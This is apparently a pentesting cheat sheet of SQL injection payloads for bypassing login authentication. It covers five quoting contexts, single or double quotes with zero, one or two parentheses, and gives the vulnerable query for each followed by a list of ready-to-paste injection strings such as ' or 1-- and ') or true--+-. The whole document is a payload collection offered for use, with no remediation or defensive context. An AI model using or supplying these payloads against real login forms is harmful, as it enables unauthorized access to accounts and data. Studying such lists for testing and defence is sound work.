📌Login Bypass Using SQL Injection

Use when input lands inside with single quote Like Query:

select username,pass from users where username='$username' and password='$passwrd' limit 0,1;

Injections:

'-'
'&'
'^'
'*'
' --+-
' or true--+-
' or ''='
' or 1--
' or 'x'='x

----------------------------------------------------------------

Use when input lands inside with Dobule quote Like Query:

select username,pass from users where username="$username" and password="$passwrd" limit 0,1;

Injections:

"-"
"&"
"^"
"*"
" --+-
" or true--+-
" or ""="
" or 1--
" or "x"="

----------------------------------------------------------------

Use when input lands inside with Single quote Parenthesis Like Query:

select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;

Injections:

')-('
')&('
')^('
')*('
') --+-
') or true--+-
') or ('')=('
') or 1--
') or ('x')=('

----------------------------------------------------------------

Use when input lands inside with Dobule quote Parenthesis Like Query:

select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;

Injections:

")-("
")&("
")^("
")*("
") --+-
") or true--+-
") or ("")=("
") or 1--
") or ("x")=("

----------------------------------------------------------------

Use when input lands inside Single quote Dobule Parenthesis Like Query:

select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;

Injections:

'))-(('
'))&(('
'))^(('
'))*(('
')) --+-
')) or true--+-
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('

Last updated